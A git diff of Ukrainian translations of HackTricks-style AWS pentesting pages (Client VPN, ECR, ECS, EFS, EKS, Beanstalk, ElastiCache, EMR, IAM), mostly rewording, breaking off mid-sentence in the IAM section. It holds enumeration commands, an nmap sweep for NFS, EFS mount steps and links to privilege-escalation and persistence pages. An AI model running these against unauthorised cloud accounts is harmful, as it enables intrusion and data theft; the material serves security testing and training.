локальним CIDR** VPC, в якому знаходиться асоційована підмережа, або будь-якими маршрутами, які вручну додані до таблиці маршрутів кінцевого пункту клієнтського VPN. -- Діапазони CIDR клієнта повинні мати розмір блоку **не менше /22** і **не більше /12.** -- **Частина адрес** у діапазоні CIDR клієнта використовується для **підтримки моделі доступності** кінцевого пункту клієнтського VPN і не може бути призначена клієнтам. Тому ми рекомендуємо вам **призначити блок CIDR, який містить удвічі більше IP адрес, ніж потрібно** для забезпечення максимальної кількості одночасних з'єднань, які ви плануєте підтримувати на кінцевому пункті клієнтського VPN. -- **Діапазон CIDR клієнта не може бути змінений** після створення кінцевого пункту клієнтського VPN. -- **Підмережі**, асоційовані з кінцевим пунктом клієнтського VPN, **повинні бути в одному VPC**. -- Ви **не можете асоціювати кілька підмереж з однієї зони доступності з кінцевим пунктом клієнтського VPN**. -- Кінцевий пункт клієнтського VPN **не підтримує асоціації підмереж у VPC з виділеним орендою**. +- **Діапазони CIDR клієнта не можуть перекриватися з локальним CIDR** VPC, в якому знаходиться асоційована підмережа, або будь-якими маршрутами, які вручну додані до таблиці маршрутів кінцевої точки клієнтського VPN. +- Діапазони CIDR клієнта повинні мати розмір блоку не менше **/22** і не повинні **перевищувати /12.** +- **Частина адрес** у діапазоні CIDR клієнта використовується для **підтримки моделі доступності** кінцевої точки клієнтського VPN і не може бути призначена клієнтам. Тому ми рекомендуємо вам **призначити блок CIDR, який містить удвічі більше IP адрес, ніж потрібно** для забезпечення максимальної кількості одночасних з'єднань, які ви плануєте підтримувати на кінцевій точці клієнтського VPN. +- **Діапазон CIDR клієнта не може бути змінений** після створення кінцевої точки клієнтського VPN. +- **Підмережі**, асоційовані з кінцевою точкою клієнтського VPN, **повинні бути в одному VPC**. +- Ви **не можете асоціювати кілька підмереж з однієї зони доступності з кінцевою точкою клієнтського VPN**. +- Кінцева точка клієнтського VPN **не підтримує асоціації підмереж у VPC з виділеним орендою**. - Клієнтський VPN підтримує **тільки** трафік IPv4. - Клієнтський VPN **не** відповідає стандартам обробки інформації федерального рівня (**FIPS**). - Якщо багатофакторна аутентифікація (MFA) вимкнена для вашої Active Directory, пароль користувача не може бути у наступному форматі. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md index e88c05dea..65dfc382f 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md @@ -8,7 +8,7 @@ #### Основна інформація -Amazon **Elastic Container Registry** (Amazon ECR) є **керованим сервісом реєстрації контейнерних зображень**. Він призначений для забезпечення середовища, в якому клієнти можуть взаємодіяти зі своїми контейнерними зображеннями, використовуючи відомі інтерфейси. Зокрема, підтримується використання Docker CLI або будь-якого іншого улюбленого клієнта, що дозволяє виконувати такі дії, як завантаження, вивантаження та управління контейнерними зображеннями. +Amazon **Elastic Container Registry** (Amazon ECR) є **керованою службою реєстрації контейнерних зображень**. Вона призначена для забезпечення середовища, в якому клієнти можуть взаємодіяти зі своїми контейнерними зображеннями, використовуючи відомі інтерфейси. Зокрема, підтримується використання Docker CLI або будь-якого іншого улюбленого клієнта, що дозволяє виконувати такі дії, як завантаження, вивантаження та управління контейнерними зображеннями. ECR складається з 2 типів об'єктів: **Реєстрації** та **Репозиторії**. @@ -21,11 +21,11 @@ ECR складається з 2 типів об'єктів: **Реєстраці - **Приватні за замовчуванням**: Контейнерні зображення, збережені в приватній реєстрації Amazon ECR, **доступні лише авторизованим користувачам** у вашому обліковому записі AWS або тим, кому надано дозвіл. - URI **приватного репозиторію** має формат `.dkr.ecr..amazonaws.com/` - **Контроль доступу**: Ви можете **контролювати доступ** до своїх приватних контейнерних зображень, використовуючи **IAM політики**, і ви можете налаштувати детальні дозволи на основі користувачів або ролей. -- **Інтеграція з сервісами AWS**: Приватні реєстрації Amazon ECR можуть бути легко **інтегровані з іншими сервісами AWS**, такими як EKS, ECS... -- **Інші варіанти приватної реєстрації**: -- Стовпець незмінності тегів вказує на його статус, якщо незмінність тегів увімкнена, це **запобігатиме** завантаженню зображень з **існуючими тегами**. +- **Інтеграція з AWS службами**: Приватні реєстрації Amazon ECR можуть бути легко **інтегровані з іншими службами AWS**, такими як EKS, ECS... +- **Інші варіанти приватних реєстрацій**: +- Стовпець імунітету тегів вказує на його статус, якщо імунітет тегів увімкнено, це **запобігатиме** **завантаженню** зображень з **існуючими тегами**. - Стовпець **Тип шифрування** вказує на властивості шифрування репозиторію, він показує типи шифрування за замовчуванням, такі як AES-256, або має **KMS** увімкнене шифрування. -- Стовпець **Кеш для витягування** вказує на його статус, якщо статус кешу для витягування активний, він буде кешувати **репозиторії в зовнішньому публічному репозиторії у вашому приватному репозиторії**. +- Стовпець **Кешування через витяг** вказує на його статус, якщо статус кешування через витяг активний, він буде кешувати **репозиторії в зовнішньому публічному репозиторії у вашому приватному репозиторії**. - Специфічні **IAM політики** можуть бути налаштовані для надання різних **дозволів**. - **Конфігурація сканування** дозволяє сканувати на вразливості в зображеннях, збережених у репозиторії. @@ -41,7 +41,7 @@ ECR складається з 2 типів об'єктів: **Реєстраці > [!NOTE] > Зверніть увагу, що для завантаження зображення в репозиторій, **репозиторій ECR повинен мати таку ж назву, як і зображення**. -#### Політики реєстрації та репозиторію +#### Політики реєстрації та репозиторіїв **Реєстрації та репозиторії** також мають **політики, які можна використовувати для надання дозволів іншим принципалам/обліковим записам**. Наприклад, у наступній політиці репозиторію ви можете побачити, як будь-який користувач з усієї організації зможе отримати доступ до зображення: @@ -87,7 +87,7 @@ aws ecr get-repository-policy --repository-name ../aws-post-exploitation/aws-ecr-post-exploitation.md {{#endref}} -#### Стійкість +#### Персистентність {{#ref}} ../aws-persistence/aws-ecr-persistence.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md index 9c1b9e1c0..7d02650d6 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md @@ -6,11 +6,11 @@ ### Основна інформація -Amazon **Elastic Container Services** або ECS надає платформу для **хостингу контейнеризованих додатків у хмарі**. ECS має два **методи розгортання**, тип інстансу **EC2** та **безсерверний** варіант, **Fargate**. Ця служба **дозволяє дуже легко та безболісно запускати контейнери в хмарі**. +Amazon **Elastic Container Services** або ECS надає платформу для **хостингу контейнеризованих додатків у хмарі**. ECS має два **методи розгортання**: тип інстансу **EC2** та **безсерверний** варіант, **Fargate**. Ця служба **дозволяє дуже легко та безболісно запускати контейнери в хмарі**. -ECS працює, використовуючи три основні елементи: **Кластери**, **Служби** та **Визначення завдань**. +ECS працює, використовуючи три основні компоненти: **Кластери**, **Служби** та **Визначення завдань**. -- **Кластери** — це **групи контейнерів**, які працюють у хмарі. Як вже згадувалося, існують два типи запуску контейнерів: EC2 та Fargate. AWS визначає тип запуску **EC2** як можливість для клієнтів “запускати \[свої\] контейнеризовані додатки на кластері інстансів Amazon EC2, які \[вони\] **керують**”. **Fargate** подібний і визначається як “\[дозволяючи\] вам запускати ваші контейнеризовані додатки **без необхідності надавати та керувати** бекенд-інфраструктурою”. +- **Кластери** — це **групи контейнерів**, які працюють у хмарі. Як вже згадувалося, існує два типи запуску контейнерів: EC2 та Fargate. AWS визначає тип запуску **EC2** як можливість для клієнтів “запускати \[свої\] контейнеризовані додатки на кластері інстансів Amazon EC2, які \[вони\] **керують**”. **Fargate** подібний і визначається як “\[дозволяючи\] вам запускати ваші контейнеризовані додатки **без необхідності забезпечувати та керувати** бекенд-інфраструктурою”. - **Служби** створюються всередині кластера і відповідають за **виконання завдань**. У визначенні служби **ви визначаєте кількість завдань для виконання, автоматичне масштабування, постачальника потужностей (Fargate/EC2/External),** **мережеву** інформацію, таку як VPC, підмережі та групи безпеки. - Існує **2 типи додатків**: - **Служба**: Група завдань, що обробляє тривалу обчислювальну роботу, яку можна зупинити та перезапустити. Наприклад, веб-додаток. @@ -23,7 +23,7 @@ ECS працює, використовуючи три основні елеме ### Чутливі дані у визначеннях завдань -Визначення завдань відповідають за **налаштування фактичних контейнерів, які будуть працювати в ECS**. Оскільки визначення завдань визначають, як будуть працювати контейнери, всередині можна знайти безліч інформації. +Визначення завдань відповідають за **налаштування фактичних контейнерів, які будуть запущені в ECS**. Оскільки визначення завдань визначають, як будуть працювати контейнери, всередині можна знайти безліч інформації. Pacu може перераховувати ECS (list-clusters, list-container-instances, list-services, list-task-definitions), він також може вивантажувати визначення завдань. @@ -59,7 +59,7 @@ aws ecs describe-task-definition --task-definition : ### Підвищення привілеїв -На наступній сторінці ви можете перевірити, як **зловживати дозволами ECS для підвищення привілеїв**: +На наступній сторінці ви можете перевірити, як **зловживати правами ECS для підвищення привілеїв**: {{#ref}} ../aws-privilege-escalation/aws-ecs-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md index 09cb0a404..f172f9e05 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md @@ -6,7 +6,7 @@ ### Основна інформація -Amazon Elastic File System (EFS) представлений як **повністю керована, масштабована та еластична мережна файлова система** від AWS. Сервіс полегшує створення та налаштування **файлових систем**, до яких можуть одночасно отримувати доступ кілька EC2-екземплярів та інших сервісів AWS. Ключові особливості EFS включають його здатність автоматично масштабуватися без ручного втручання, забезпечувати доступ з низькою затримкою, підтримувати навантаження з високою пропускною здатністю, гарантувати довговічність даних та безперешкодно інтегруватися з різними механізмами безпеки AWS. +Amazon Elastic File System (EFS) представлений як **повністю керована, масштабована та еластична мережна файлова система** від AWS. Сервіс полегшує створення та налаштування **файлових систем**, до яких можуть одночасно отримувати доступ кілька EC2 екземплярів та інших сервісів AWS. Ключові особливості EFS включають його здатність автоматично масштабуватися без ручного втручання, забезпечувати доступ з низькою затримкою, підтримувати навантаження з високою пропускною здатністю, гарантувати довговічність даних та безшовно інтегруватися з різними механізмами безпеки AWS. За **замовчуванням**, папка EFS для монтування буде **`/`**, але вона може мати **іншу назву**. @@ -14,7 +14,7 @@ Amazon Elastic File System (EFS) представлений як **повніс EFS створюється в VPC і буде **за замовчуванням доступний у всіх підмережах VPC**. Однак EFS матиме групу безпеки. Щоб **надати доступ EC2** (або будь-якому іншому сервісу AWS) для монтування EFS, потрібно **дозволити в групі безпеки EFS вхідне правило NFS** (порт 2049) **з групи безпеки EC2**. -Без цього ви **не зможете зв'язатися з NFS-сервісом**. +Без цього ви **не зможете зв'язатися з NFS сервісом**. Для отримання додаткової інформації про те, як це зробити, перегляньте: [https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount](https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount) @@ -41,7 +41,7 @@ sudo nmap -T4 -Pn -p 2049 --open 10.10.10.0/20 # or /16 to be sure > [!CAUTION] > Можливо, що точка монтування EFS знаходиться в тій же VPC, але в іншій підмережі. Якщо ви хочете бути впевненими, що знайдете всі **точки EFS, краще просканувати мережу з маскою `/16`**. -### Mount EFS +### Монтування EFS ```bash sudo mkdir /efs @@ -81,7 +81,7 @@ sudo mount -t efs :/ /efs/ ] } ``` -Або це **запобіжить анонімному доступу**: +Або це **запобігне анонімному доступу**:
@@ -92,11 +92,11 @@ sudo mount -t efs -o tls,iam :/ /efs/ # To use a different pforile from ~/.aws/credentials # You can use: -o tls,iam,awsprofile=namedprofile ``` -### Access Points +### Точки доступу -**Точки доступу** є **специфічними для застосунків** точками входу **в систему файлів EFS**, які спрощують управління доступом застосунків до спільних наборів даних. +**Точки доступу** - це **специфічні для програми** точки входу **в систему файлів EFS**, які спрощують управління доступом програми до спільних наборів даних. -Коли ви створюєте точку доступу, ви можете **вказати власника та POSIX дозволи** для файлів і каталогів, створених через точку доступу. Ви також можете **визначити власний кореневий каталог** для точки доступу, вказавши існуючий каталог або створивши новий з бажаними дозволами. Це дозволяє вам **контролювати доступ до вашої системи файлів EFS на основі кожного застосунку або користувача**, що спрощує управління та захист ваших спільних файлових даних. +Коли ви створюєте точку доступу, ви можете **вказати власника та POSIX дозволи** для файлів і каталогів, створених через точку доступу. Ви також можете **визначити власний кореневий каталог** для точки доступу, вказавши існуючий каталог або створивши новий з бажаними дозволами. Це дозволяє вам **контролювати доступ до вашої системи файлів EFS на основі програми або користувача**, що спрощує управління та захист ваших спільних файлових даних. **Ви можете змонтувати систему файлів з точки доступу за допомогою чогось на зразок:** ```bash @@ -105,13 +105,13 @@ sudo mount -t efs -o tls,[iam],accesspoint= \ /efs/ ``` > [!WARNING] -> Зверніть увагу, що навіть намагаючись змонтувати точку доступу, вам все ще потрібно **зв'язатися з NFS сервісом через мережу**, і якщо у EFS є файлова система **політика**, вам потрібні **достатні IAM дозволи** для її монтування. +> Зверніть увагу, що навіть намагаючись змонтувати точку доступу, вам все ще потрібно **зв'язатися з NFS сервісом через мережу**, і якщо у EFS є **політика** файлової системи, вам потрібні **достатні IAM дозволи** для її монтування. Точки доступу можуть використовуватися для наступних цілей: -- **Спрощення управління дозволами**: Визначивши POSIX користувача та групу для кожної точки доступу, ви можете легко керувати дозволами доступу для різних додатків або користувачів без зміни дозволів основної файлової системи. -- **Забезпечення кореневої директорії**: Точки доступу можуть обмежити доступ до конкретної директорії в файловій системі EFS, забезпечуючи, що кожен додаток або користувач працює в своїй призначеній папці. Це допомагає запобігти випадковому витоку або модифікації даних. -- **Легший доступ до файлової системи**: Точки доступу можуть бути асоційовані з функцією AWS Lambda або завданням AWS Fargate, спрощуючи доступ до файлової системи для безсерверних та контейнеризованих додатків. +- **Спрощення управління дозволами**: Визначивши POSIX користувача та групу для кожної точки доступу, ви можете легко керувати дозволами доступу для різних додатків або користувачів, не змінюючи дозволи основної файлової системи. +- **Забезпечення кореневої директорії**: Точки доступу можуть обмежувати доступ до конкретної директорії в файловій системі EFS, забезпечуючи, щоб кожен додаток або користувач працював у своїй призначеній папці. Це допомагає запобігти випадковому витоку або модифікації даних. +- **Легший доступ до файлової системи**: Точки доступу можуть бути асоційовані з функцією AWS Lambda або завданням AWS Fargate, спрощуючи доступ до файлової системи для безсерверних і контейнеризованих додатків. ## Privesc diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md index 981b7ce43..df9161b2c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md @@ -4,11 +4,11 @@ ## EKS -Amazon Elastic Kubernetes Service (Amazon EKS) призначений для усунення необхідності для користувачів встановлювати, експлуатувати та керувати власною контрольованою плоскостю Kubernetes або вузлами. Натомість Amazon EKS керує цими компонентами, забезпечуючи спрощений спосіб розгортання, управління та масштабування контейнеризованих додатків за допомогою Kubernetes на AWS. +Amazon Elastic Kubernetes Service (Amazon EKS) призначений для усунення необхідності для користувачів встановлювати, експлуатувати та керувати власною контрольованою площею Kubernetes або вузлами. Натомість Amazon EKS керує цими компонентами, забезпечуючи спрощений спосіб розгортання, управління та масштабування контейнеризованих додатків за допомогою Kubernetes на AWS. Ключові аспекти Amazon EKS включають: -1. **Керована контрольна плоскость Kubernetes**: Amazon EKS автоматизує критично важливі завдання, такі як патчинг, постачання вузлів та оновлення. +1. **Керована контрольна площа Kubernetes**: Amazon EKS автоматизує критично важливі завдання, такі як патчинг, постачання вузлів та оновлення. 2. **Інтеграція з AWS Services**: Він пропонує безшовну інтеграцію з AWS services для обчислень, зберігання, бази даних та безпеки. 3. **Масштабованість та безпека**: Amazon EKS розроблений для високої доступності та безпеки, забезпечуючи такі функції, як автоматичне масштабування та ізоляція за замовчуванням. 4. **Сумісність з Kubernetes**: Додатки, що працюють на Amazon EKS, повністю сумісні з додатками, що працюють в будь-якому стандартному середовищі Kubernetes. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md index 15d95205c..0d59eb904 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md @@ -6,9 +6,9 @@ Amazon Elastic Beanstalk надає спрощену платформу для **розгортання, управління та масштабування веб-додатків і сервісів**. Він підтримує різноманітні мови програмування та фреймворки, такі як Java, .NET, PHP, Node.js, Python, Ruby та Go, а також контейнери Docker. Сервіс сумісний з широко використовуваними серверами, включаючи Apache, Nginx, Passenger та IIS. -Elastic Beanstalk надає простий і гнучкий спосіб **розгортання ваших додатків у хмарі AWS**, без необхідності турбуватися про підлягаючу інфраструктуру. Він **автоматично** обробляє деталі **постачання** потужностей, **балансування навантаження**, **масштабування** та **моніторингу** стану додатка, дозволяючи вам зосередитися на написанні та розгортанні вашого коду. +Elastic Beanstalk надає простий і гнучкий спосіб **розгортання ваших додатків у хмарі AWS**, без необхідності турбуватися про підлягаючу інфраструктуру. Він **автоматично** обробляє деталі забезпечення потужності **provisioning**, балансування навантаження, **scaling** та моніторингу здоров'я додатків, дозволяючи вам зосередитися на написанні та розгортанні вашого коду. -Інфраструктура, створена Elastic Beanstalk, управляється **групами автоматичного масштабування** в **EC2** (з балансувальником навантаження). Це означає, що в кінці дня, якщо ви **компрометуєте хост**, вам слід знати про EC2: +Інфраструктура, створена Elastic Beanstalk, управляється **Autoscaling** Groups в **EC2** (з балансувальником навантаження). Це означає, що в кінці дня, якщо ви **компрометуєте хост**, вам слід знати про EC2: {{#ref}} aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -20,33 +20,33 @@ aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ aws-eks-enum.md {{#endref}} -### Додаток і середовища +### Додаток та середовища -У AWS Elastic Beanstalk поняття "додаток" і "середовище" виконують різні функції та мають різні ролі в процесі розгортання. +У AWS Elastic Beanstalk концепції "додатка" та "середовища" виконують різні функції та мають різні ролі в процесі розгортання. #### Додаток -- Додаток в Elastic Beanstalk є **логічним контейнером для вихідного коду вашого додатка, середовищ і конфігурацій**. Він об'єднує різні версії вашого коду додатка та дозволяє вам управляти ними як єдиним цілим. -- Коли ви створюєте додаток, ви надаєте ім'я та **опис, але на цьому етапі ресурси не постачаються**. Це просто спосіб організувати та управляти вашим кодом і пов'язаними ресурсами. +- Додаток в Elastic Beanstalk є **логічним контейнером для вихідного коду вашого додатка, середовищ та конфігурацій**. Він об'єднує різні версії коду вашого додатка та дозволяє вам керувати ними як єдиним цілим. +- Коли ви створюєте додаток, ви надаєте ім'я та **опис, але на цьому етапі ресурси не забезпечуються**. Це просто спосіб організувати та керувати вашим кодом та супутніми ресурсами. - Ви можете мати **кілька версій додатка** в межах одного додатка. Кожна версія відповідає конкретному випуску вашого коду, який може бути розгорнутий в одному або кількох середовищах. #### Середовище -- Середовище є **постаченою інстанцією вашого додатка**, що працює на інфраструктурі AWS. Це **місце, де ваш код додатка розгортається та виконується**. Elastic Beanstalk постачає необхідні ресурси (наприклад, інстанції EC2, балансувальники навантаження, групи автоматичного масштабування, бази даних) на основі конфігурації середовища. +- Середовище є **забезпеченою інстанцією вашого додатка**, що працює на інфраструктурі AWS. Це **місце, де ваш код додатка розгортається та виконується**. Elastic Beanstalk забезпечує необхідні ресурси (наприклад, EC2 інстанції, балансувальники навантаження, групи автоматичного масштабування, бази даних) на основі конфігурації середовища. - **Кожне середовище виконує одну версію вашого додатка**, і ви можете мати кілька середовищ для різних цілей, таких як розробка, тестування, стадіювання та виробництво. - Коли ви створюєте середовище, ви вибираєте платформу (наприклад, Java, .NET, Node.js тощо) та тип середовища (наприклад, веб-сервер або робітник). Ви також можете налаштувати конфігурацію середовища, щоб контролювати різні аспекти інфраструктури та налаштувань додатка. ### 2 типи середовищ -1. **Середовище веб-сервера**: Воно призначене для **хостингу та обслуговування веб-додатків і API**. Ці додатки зазвичай обробляють вхідні HTTP/HTTPS запити. Середовище веб-сервера постачає ресурси, такі як **інстанції EC2, балансувальники навантаження та групи автоматичного масштабування**, щоб обробляти вхідний трафік, управляти потужностями та забезпечувати високу доступність додатка. -2. **Середовище робітника**: Воно призначене для обробки **фонових завдань**, які часто є трудомісткими або ресурсомісткими операціями, що не вимагають негайних відповідей клієнтам. Середовище робітника постачає ресурси, такі як **інстанції EC2 та групи автоматичного масштабування**, але **не має балансувальника навантаження**, оскільки не обробляє HTTP/HTTPS запити безпосередньо. Натомість воно споживає завдання з **черги Amazon Simple Queue Service (SQS)**, яка діє як буфер між середовищем робітника та завданнями, які воно обробляє. +1. **Середовище веб-сервера**: Воно призначене для **хостингу та обслуговування веб-додатків і API**. Ці додатки зазвичай обробляють вхідні HTTP/HTTPS запити. Середовище веб-сервера забезпечує ресурси, такі як **EC2 інстанції, балансувальники навантаження та групи автоматичного масштабування**, щоб обробляти вхідний трафік, управляти потужністю та забезпечувати високу доступність додатка. +2. **Середовище робітника**: Воно призначене для обробки **фонових завдань**, які часто є трудомісткими або ресурсомісткими операціями, що не вимагають негайних відповідей клієнтам. Середовище робітника забезпечує ресурси, такі як **EC2 інстанції та групи автоматичного масштабування**, але **не має балансувальника навантаження**, оскільки не обробляє HTTP/HTTPS запити безпосередньо. Натомість воно споживає завдання з **Amazon Simple Queue Service (SQS) черги**, яка діє як буфер між середовищем робітника та завданнями, які воно обробляє. ### Безпека При створенні додатка в Beanstalk є 3 дуже важливі параметри безпеки для вибору: -- **EC2 ключова пара**: Це буде **SSH ключ**, який зможе отримати доступ до інстанцій EC2, що виконують додаток. -- **IAM профіль інстанції**: Це **профіль інстанції**, який матимуть інстанції (**привілеї IAM**). +- **EC2 ключова пара**: Це буде **SSH ключ**, який зможе отримати доступ до EC2 інстанцій, що виконують додаток. +- **IAM профіль інстанції**: Це **профіль інстанції**, який матимуть інстанції (**IAM привілеї**). - Автоматично згенерована роль називається **`aws-elasticbeanstalk-ec2-role`** і має деякі цікаві доступи до всіх ECS, всіх SQS, DynamoDB elasticbeanstalk та elasticbeanstalk S3, використовуючи керовані політики AWS: [AWSElasticBeanstalkWebTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWebTier), [AWSElasticBeanstalkMulticontainerDocker](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkMulticontainerDocker), [AWSElasticBeanstalkWorkerTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWorkerTier). - **Роль служби**: Це **роль, яку використовуватиме служба AWS** для виконання всіх необхідних дій. Наскільки мені відомо, звичайний користувач AWS не може отримати доступ до цієї ролі. - Ця роль, згенерована AWS, називається **`aws-elasticbeanstalk-service-role`** і використовує керовані політики AWS [AWSElasticBeanstalkEnhancedHealth](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/service-role/AWSElasticBeanstalkEnhancedHealth) та [AWSElasticBeanstalkManagedUpdatesCustomerRolePolicy](https://us-east-1.console.aws.amazon.com/iamv2/home?region=us-east-1#/roles/details/aws-elasticbeanstalk-service-role?section=permissions) @@ -64,7 +64,7 @@ aws-eks-enum.md > [!WARNING] > Якщо ви отримаєте **доступ на читання** до бакету, ви зможете **читати вихідний код** і навіть знайти **чутливі облікові дані** в ньому. > -> Якщо ви отримаєте **доступ на запис** до бакету, ви зможете **модифікувати вихідний код**, щоб **компрометувати** **IAM роль**, яку використовує додаток наступного разу, коли він буде виконаний. +> Якщо ви отримаєте **доступ на запис** до бакету, ви зможете **змінити вихідний код**, щоб **компрометувати** **IAM роль**, яку використовує додаток наступного разу, коли він буде виконаний. ### Перерахування ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md index e903b229e..4f9add954 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md @@ -4,7 +4,7 @@ ## ElastiCache -AWS ElastiCache - це повністю **керований сервіс зберігання даних у пам'яті та кешування**, який забезпечує високу продуктивність, низьку затримку та масштабовані рішення для додатків. Він підтримує два популярні відкриті ін-memory движки: **Redis та Memcached**. ElastiCache **спрощує** **налаштування**, **управління** та **обслуговування** цих движків, дозволяючи розробникам зменшити час на виконання трудомістких завдань, таких як постачання, патчинг, моніторинг та **резервне копіювання**. +AWS ElastiCache - це повністю **керований сховище даних в пам'яті та кеш-сервіс**, який забезпечує високу продуктивність, низьку затримку та масштабовані рішення для додатків. Він підтримує два популярні відкриті в-memory движки: **Redis та Memcached**. ElastiCache **спрощує** **налаштування**, **управління** та **обслуговування** цих движків, дозволяючи розробникам зменшити час на виконання трудомістких завдань, таких як постачання, патчинг, моніторинг та **резервне копіювання**. ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md index 4a560d439..88b9914a5 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md @@ -4,35 +4,35 @@ ## EMR -Служба Elastic MapReduce (EMR) від AWS, починаючи з версії 4.8.0, представила функцію **конфігурації безпеки**, яка покращує захист даних, дозволяючи користувачам вказувати налаштування шифрування для даних в спокої та в русі в межах кластерів EMR, які є масштабованими групами EC2-екземплярів, призначеними для обробки великих даних, таких як Apache Hadoop і Spark. +Служба Elastic MapReduce (EMR) від AWS, починаючи з версії 4.8.0, представила функцію **конфігурації безпеки**, яка покращує захист даних, дозволяючи користувачам вказувати налаштування шифрування для даних в спокої та в русі в рамках кластерів EMR, які є масштабованими групами EC2-екземплярів, призначеними для обробки великих даних, таких як Apache Hadoop і Spark. Ключові характеристики включають: - **За замовчуванням шифрування кластера**: За замовчуванням дані в спокої в межах кластера не шифруються. Однак увімкнення шифрування надає доступ до кількох функцій: -- **Уніфікована настройка ключів Linux**: Шифрує обсяги EBS кластера. Користувачі можуть вибрати службу управління ключами AWS (KMS) або постачальника ключів на замовлення. +- **Уніфікована настройка ключів Linux**: Шифрує обсяги EBS кластера. Користувачі можуть вибрати AWS Key Management Service (KMS) або постачальника ключів на замовлення. - **Шифрування HDFS з відкритим кодом**: Пропонує два варіанти шифрування для Hadoop: - Захищений Hadoop RPC (віддалений виклик процедур), налаштований на конфіденційність, використовуючи Simple Authentication Security Layer. - Шифрування передачі блоків HDFS, налаштоване на true, використовує алгоритм AES-256. - **Шифрування в русі**: Сфокусовано на захисті даних під час передачі. Варіанти включають: -- **Шифрування з відкритим кодом Transport Layer Security (TLS)**: Шифрування можна увімкнути, вибравши постачальника сертифікатів: +- **Шифрування з відкритим кодом Transport Layer Security (TLS)**: Шифрування може бути увімкнено шляхом вибору постачальника сертифікатів: - **PEM**: Вимагає ручного створення та упаковки сертифікатів PEM у zip-файл, на який посилаються з S3-кошика. - **Користувацький**: Включає додавання користувацького класу Java як постачальника сертифікатів, який постачає артефакти шифрування. -Після інтеграції постачальника сертифікатів TLS у конфігурацію безпеки можна активувати наступні специфічні для застосування функції шифрування, які варіюються в залежності від версії EMR: +Після інтеграції постачальника сертифікатів TLS у конфігурацію безпеки можуть бути активовані наступні специфічні для застосування функції шифрування, які варіюються в залежності від версії EMR: - **Hadoop**: - Може зменшити зашифрований shuffle, використовуючи TLS. - Захищений Hadoop RPC з Simple Authentication Security Layer та HDFS Block Transfer з AES-256 активуються з шифруванням в спокої. - **Presto** (версія EMR 5.6.0+): -- Внутрішня комунікація між вузлами Presto захищена за допомогою SSL та TLS. +- Внутрішня комунікація між вузлами Presto захищена за допомогою SSL і TLS. - **Tez Shuffle Handler**: - Використовує TLS для шифрування. - **Spark**: - Використовує TLS для протоколу Akka. -- Використовує Simple Authentication Security Layer та 3DES для служби передачі блоків. +- Використовує Simple Authentication Security Layer і 3DES для служби передачі блоків. - Зовнішня служба shuffle захищена за допомогою Simple Authentication Security Layer. -Ці функції колективно покращують безпеку кластерів EMR, особливо щодо захисту даних під час зберігання та передачі. +Ці функції колективно покращують безпеку кластерів EMR, особливо щодо захисту даних під час зберігання та передачі. #### Enumeration ```bash @@ -51,7 +51,7 @@ aws emr list-studios #Get studio URLs ../aws-privilege-escalation/aws-emr-privesc.md {{#endref}} -## Посилання +## References - [https://cloudacademy.com/course/domain-three-designing-secure-applications-and-architectures/elastic-mapreduce-emr-encryption-1/](https://cloudacademy.com/course/domain-three-designing-secure-applications-and-architectures/elastic-mapreduce-emr-encryption-1/) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md index fc8831ac5..a8314be62 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md @@ -1,4 +1,4 @@ -# AWS - IAM, Центр ідентифікації та SSO Enum +# AWS - IAM, Identity Center & SSO Enum {{#include ../../../banners/hacktricks-training.md}} @@ -10,7 +10,7 @@ ../aws-basic-information/ {{#endref}} -### Перерахування +### Enumeration Основні дозволи, які потрібні: @@ -90,7 +90,7 @@ aws iam list-virtual-mfa-devices ``` ### Permissions Brute Force -Якщо вас цікавлять ваші власні дозволи, але у вас немає доступу для запиту IAM, ви завжди можете їх брутфорсити. +Якщо вас цікавлять ваші власні дозволи, але у вас немає доступу для запиту IAM, ви завжди можете їх 